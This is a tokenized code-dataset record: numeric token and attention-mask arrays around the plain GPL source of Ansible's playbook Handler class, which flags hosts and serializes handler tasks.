504, 1275, 9264, 1259, 923, 19903, 492, 26811, 3298, 2448, 8029, 221, 327, 2849, 13, 4414, 4528, 5951, 199, 504, 1275, 19303, 19903, 492, 662, 551, 15159, 221, 327, 9055, 13, 18, 7507, 12, 5423, 14, 199, 646, 295, 199, 199, 4896, 27078, 63, 19307, 275, 378, 14, 1165, 199, 69, 28928, 11129, 275, 378, 199, 20565, 551, 11129, 275, 413, 199, 69, 11688, 4414, 275, 499, 421, 199, 533, 29347, 24402, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 423, 6260, 4734, 24402, 275, 295, 14, 2014, 8, 66, 22123, 88, 1257, 2696, 9039, 10374, 267, 291, 423, 19303, 24402, 275, 295, 14, 2014, 8, 66, 13445, 8762, 92, 94, 91, 5942, 267, 291, 423, 77, 37, 551, 15159, 275, 488, 267, 291, 423, 77, 15159, 83, 275, 942, 267, 291, 14, 3958, 342, 339, 347, 5305, 8, 277, 304, 267, 291, 14, 1099, 275, 791, 2991, 356, 488, 12, 283, 13969, 356, 378, 14, 16, 93, 267, 291, 14, 4456, 275, 756, 267, 291, 423, 77, 3162, 275, 715, 267, 291, 423, 77, 13662, 1451, 275, 756, 267, 291, 423, 77, 3205, 2223, 275, 325, 28928, 11129, 267, 291, 423, 30875, 275, 330, 891, 267, 340, 291, 423, 77, 37, 551, 15159, 26, 288, 291, 423, 77, 37, 551, 15159, 14, 3958, 342, 267, 367, 16118, 315, 291, 423, 77, 15159, 83, 26, 288, 16118, 14, 3958, 342, 339, 347, 4733, 8, 277, 12, 17407, 304, 267, 340, 291, 14, 4456, 26, 288, 372, 398, 282, 3166, 275, 822, 8, 22353, 9, 267, 340, 440, 282, 3166, 26, 288, 372, 398, 340, 440, 291, 423, 77, 13662, 1451, 26, 288, 327, 982, 314, 666, 9174, 543, 17720, 12, 781, 5715, 652, 365, 9094, 288, 340, 17407, 1491, 19, 61, 508, 6010, 14, 19550, 26, 355, 327, 662, 38, 699, 34, 699, 38, 221, 9094, 13, 24, 543, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 24, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 6010, 14, 19550, 63, 6610, 708, 63, 906, 26, 355, 327, 25046, 16012, 8733, 8733, 221, 9094, 13, 708, 12, 12050, 13, 15009, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 708, 906, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 6010, 14, 19550, 63, 6610, 708, 63, 6773, 26, 355, 327, 8733, 8733, 16012, 25046, 221, 9094, 13, 708, 12, 7282, 13, 15009, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 708, 6773, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 330, 1154, 20981, 60, 9039, 60, 88, 383, 60, 88, 383, 356, 355, 327, 16012, 25046, 8733, 8733, 221, 21884, 13, 20, 12, 625, 527, 1061, 30974, 1865, 17720, 334, 1082, 713, 9, 355, 291, 14, 1099, 275, 469, 490, 283, 2991, 356, 298, 56, 13, 7336, 13, 709, 11387, 13, 21269, 13, 20, 13, 1082, 713, 401, 490, 283, 13969, 356, 413, 14, 16, 355, 789, 288, 916, 17407, 1491, 20, 61, 508, 330, 1154, 88, 383, 60, 88, 383, 60, 9039, 60, 20981, 356, 355, 327, 8733, 8733, 25046, 16012, 221, 21884, 13, 20, 12, 625, 527, 1061, 30974, 1865, 17720, 334, 6886, 19, 9, 355, 291, 14, 1099, 275, 469, 490, 283, 2991, 356, 298, 56, 13, 7336, 13, 709, 11387, 13, 21269, 13, 20, 13, 6886, 19, 401, 490, 283, 13969, 356, 413, 14, 16, 355, 789, 288, 916, 17407, 1491, 18, 61, 508, 6010, 14, 19550, 63, 906, 26, 355, 327, 25046, 16012, 221, 9094, 13, 975, 12, 12050, 17638, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 975, 906, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 18, 61, 508, 6010, 14, 19550, 63, 6773, 26, 355, 327, 16012, 25046, 221, 9094, 13, 975, 12, 7282, 17638, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 975, 6773, 401, 283, 13969, 356, 413, 14, 16, 93, 398, 291, 423, 77, 13662, 1451, 275, 715, 267, 340, 291, 14, 1099, 459, 2991, 418, 436, 334, 277, 14, 1099, 459, 13969, 418, 690, 378, 14, 16, 304, 288, 291, 14, 4456, 275, 715, 288 ]
[ 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 17728, 29347, 5960, 17842, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 12521, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 257, 428, 3577, 5244, 279, 676, 446, 3379, 445, 1233, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 504, 1275, 492, 5262, 199, 646, 984, 199, 646, 6010, 199, 504, 1275, 10378, 17, 19903, 492, 23864, 17, 8029, 221, 327, 10061, 13, 19364, 199, 504, 1275, 887, 1259, 923, 19903, 492, 19487, 3298, 2448, 8029, 221, 327, 3510, 13, 4414, 4528, 5951, 199, 504, 1275, 9264, 1259, 923, 19903, 492, 26811, 3298, 2448, 8029, 221, 327, 2849, 13, 4414, 4528, 5951, 199, 504, 1275, 19303, 19903, 492, 662, 551, 15159, 221, 327, 9055, 13, 18, 7507, 12, 5423, 14, 199, 646, 295, 199, 199, 4896, 27078, 63, 19307, 275, 378, 14, 1165, 199, 69, 28928, 11129, 275, 378, 199, 20565, 551, 11129, 275, 413, 199, 69, 11688, 4414, 275, 499, 421, 199, 533, 29347, 24402, 26, 272, 347, 636, 826, 721, 277, 304, 267, 291, 423, 6260, 4734, 24402, 275, 295, 14, 2014, 8, 66, 22123, 88, 1257, 2696, 9039, 10374, 267, 291, 423, 19303, 24402, 275, 295, 14, 2014, 8, 66, 13445, 8762, 92, 94, 91, 5942, 267, 291, 423, 77, 37, 551, 15159, 275, 488, 267, 291, 423, 77, 15159, 83, 275, 942, 267, 291, 14, 3958, 342, 339, 347, 5305, 8, 277, 304, 267, 291, 14, 1099, 275, 791, 2991, 356, 488, 12, 283, 13969, 356, 378, 14, 16, 93, 267, 291, 14, 4456, 275, 756, 267, 291, 423, 77, 3162, 275, 715, 267, 291, 423, 77, 13662, 1451, 275, 756, 267, 291, 423, 77, 3205, 2223, 275, 325, 28928, 11129, 267, 291, 423, 30875, 275, 330, 891, 267, 340, 291, 423, 77, 37, 551, 15159, 26, 288, 291, 423, 77, 37, 551, 15159, 14, 3958, 342, 267, 367, 16118, 315, 291, 423, 77, 15159, 83, 26, 288, 16118, 14, 3958, 342, 339, 347, 4733, 8, 277, 12, 17407, 304, 267, 340, 291, 14, 4456, 26, 288, 372, 398, 282, 3166, 275, 822, 8, 22353, 9, 267, 340, 440, 282, 3166, 26, 288, 372, 398, 340, 440, 291, 423, 77, 13662, 1451, 26, 288, 327, 982, 314, 666, 9174, 543, 17720, 12, 781, 5715, 652, 365, 9094, 288, 340, 17407, 1491, 19, 61, 508, 6010, 14, 19550, 26, 355, 327, 662, 38, 699, 34, 699, 38, 221, 9094, 13, 24, 543, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 24, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 6010, 14, 19550, 63, 6610, 708, 63, 906, 26, 355, 327, 25046, 16012, 8733, 8733, 221, 9094, 13, 708, 12, 12050, 13, 15009, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 708, 906, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 6010, 14, 19550, 63, 6610, 708, 63, 6773, 26, 355, 327, 8733, 8733, 16012, 25046, 221, 9094, 13, 708, 12, 7282, 13, 15009, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 708, 6773, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 20, 61, 508, 330, 1154, 20981, 60, 9039, 60, 88, 383, 60, 88, 383, 356, 355, 327, 16012, 25046, 8733, 8733, 221, 21884, 13, 20, 12, 625, 527, 1061, 30974, 1865, 17720, 334, 1082, 713, 9, 355, 291, 14, 1099, 275, 469, 490, 283, 2991, 356, 298, 56, 13, 7336, 13, 709, 11387, 13, 21269, 13, 20, 13, 1082, 713, 401, 490, 283, 13969, 356, 413, 14, 16, 355, 789, 288, 916, 17407, 1491, 20, 61, 508, 330, 1154, 88, 383, 60, 88, 383, 60, 9039, 60, 20981, 356, 355, 327, 8733, 8733, 25046, 16012, 221, 21884, 13, 20, 12, 625, 527, 1061, 30974, 1865, 17720, 334, 6886, 19, 9, 355, 291, 14, 1099, 275, 469, 490, 283, 2991, 356, 298, 56, 13, 7336, 13, 709, 11387, 13, 21269, 13, 20, 13, 6886, 19, 401, 490, 283, 13969, 356, 413, 14, 16, 355, 789, 288, 916, 17407, 1491, 18, 61, 508, 6010, 14, 19550, 63, 906, 26, 355, 327, 25046, 16012, 221, 9094, 13, 975, 12, 12050, 17638, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 975, 906, 401, 283, 13969, 356, 413, 14, 16, 93, 288, 916, 17407, 1491, 18, 61, 508, 6010, 14, 19550, 63, 6773, 26, 355, 327, 16012, 25046, 221, 9094, 13, 975, 12, 7282, 17638, 17720, 355, 291, 14, 1099, 275, 791, 2991, 356, 298, 6610, 13, 975, 6773, 401, 283, 13969, 356, 413, 14, 16, 93, 398, 291, 423, 77, 13662, 1451, 275, 715, 267, 340, 291, 14, 1099, 459, 2991, 418, 436, 334, 277, 14, 1099, 459, 13969, 418, 690, 378, 14, 16, 304, 288, 291, 14, 4456, 275, 715, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
venmo/ansible
lib/ansible/playbook/handler.py
237
1957
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible.errors import AnsibleError #from ansible.inventory.host import Host from ansible.playbook.task import Task class Handler(Task): def __init__(self, block=None, role=None, task_include=None): self._flagged_hosts = [] super(Handler, self).__init__(block=block, role=role, task_include=task_include) def __repr__(self): ''' returns a human readable representation of the handler ''' return "HANDLER: %s" % self.get_name() @staticmethod def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None): t = Handler(block=block, role=role, task_include=task_include) return t.load_data(data, variable_manager=variable_manager, loader=loader) def flag_for_host(self, host): #assert instanceof(host, Host) if host not in self._flagged_hosts: self._flagged_hosts.append(host) def has_triggered(self, host): return host in self._flagged_hosts def serialize(self): result = super(Handler, self).serialize() result['is_handler'] = True return result
gpl-3.0
[ 3, 334, 67, 9, 6029, 13, 7280, 12, 16922, 22453, 665, 22333, 14, 24247, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 3242, 14, 2550, 492, 13358, 199, 3, 504, 3242, 14, 7212, 14, 1102, 492, 10891, 199, 504, 3242, 14, 14205, 14, 1765, 492, 8495, 199, 199, 533, 18599, 8, 4476, 304, 339, 347, 636, 826, 721, 277, 12, 1853, 29, 403, 12, 4719, 29, 403, 12, 2120, 63, 2613, 29, 403, 304, 267, 291, 423, 4173, 3046, 63, 5146, 275, 942, 398, 1613, 8, 2461, 12, 291, 2843, 826, 721, 1457, 29, 1457, 12, 4719, 29, 3756, 12, 2120, 63, 2613, 29, 1765, 63, 2613, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 1449, 2529, 282, 11779, 12701, 6025, 402, 314, 3016, 1449, 267, 372, 298, 30872, 26, 450, 83, 2, 450, 291, 14, 362, 63, 354, 342, 339, 768, 4639, 272, 347, 2248, 8, 576, 12, 1853, 29, 403, 12, 4719, 29, 403, 12, 2120, 63, 2613, 29, 403, 12, 1750, 63, 2609, 29, 403, 12, 5077, 29, 403, 304, 267, 307, 275, 18599, 8, 1457, 29, 1457, 12, 4719, 29, 3756, 12, 2120, 63, 2613, 29, 1765, 63, 2613, 9, 267, 372, 307, 14, 912, 63, 576, 8, 576, 12, 1750, 63, 2609, 29, 1975, 63, 2609, 12, 5077, 29, 3422, 9, 339, 347, 3305, 63, 509, 63, 1102, 8, 277, 12, 1591, 304, 267, 327, 479, 1256, 1618, 8, 1102, 12, 10891, 9, 267, 340, 1591, 440, 315, 291, 423, 4173, 3046, 63, 5146, 26, 288, 291, 423, 4173, 3046, 63, 5146, 14, 740, 8, 1102, 9, 339, 347, 965, 63, 21142, 8, 277, 12, 1591, 304, 267, 372, 1591, 315, 291, 423, 4173, 3046, 63, 5146, 339, 347, 8437, 8, 277, 304, 267, 754, 275, 1613, 8, 2461, 12, 291, 680, 3549, 342, 267, 754, 459, 374, 63, 2232, 418, 275, 715, 267, 372, 754, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 334, 67, 9, 6029, 13, 7280, 12, 16922, 22453, 665, 22333, 14, 24247, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 3242, 14, 2550, 492, 13358, 199, 3, 504, 3242, 14, 7212, 14, 1102, 492, 10891, 199, 504, 3242, 14, 14205, 14, 1765, 492, 8495, 199, 199, 533, 18599, 8, 4476, 304, 339, 347, 636, 826, 721, 277, 12, 1853, 29, 403, 12, 4719, 29, 403, 12, 2120, 63, 2613, 29, 403, 304, 267, 291, 423, 4173, 3046, 63, 5146, 275, 942, 398, 1613, 8, 2461, 12, 291, 2843, 826, 721, 1457, 29, 1457, 12, 4719, 29, 3756, 12, 2120, 63, 2613, 29, 1765, 63, 2613, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 1449, 2529, 282, 11779, 12701, 6025, 402, 314, 3016, 1449, 267, 372, 298, 30872, 26, 450, 83, 2, 450, 291, 14, 362, 63, 354, 342, 339, 768, 4639, 272, 347, 2248, 8, 576, 12, 1853, 29, 403, 12, 4719, 29, 403, 12, 2120, 63, 2613, 29, 403, 12, 1750, 63, 2609, 29, 403, 12, 5077, 29, 403, 304, 267, 307, 275, 18599, 8, 1457, 29, 1457, 12, 4719, 29, 3756, 12, 2120, 63, 2613, 29, 1765, 63, 2613, 9, 267, 372, 307, 14, 912, 63, 576, 8, 576, 12, 1750, 63, 2609, 29, 1975, 63, 2609, 12, 5077, 29, 3422, 9, 339, 347, 3305, 63, 509, 63, 1102, 8, 277, 12, 1591, 304, 267, 327, 479, 1256, 1618, 8, 1102, 12, 10891, 9, 267, 340, 1591, 440, 315, 291, 423, 4173, 3046, 63, 5146, 26, 288, 291, 423, 4173, 3046, 63, 5146, 14, 740, 8, 1102, 9, 339, 347, 965, 63, 21142, 8, 277, 12, 1591, 304, 267, 372, 1591, 315, 291, 423, 4173, 3046, 63, 5146, 339, 347, 8437, 8, 277, 304, 267, 754, 275, 1613, 8, 2461, 12, 291, 680, 3549, 342, 267, 754, 459, 374, 63, 2232, 418, 275, 715, 267, 372, 754, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 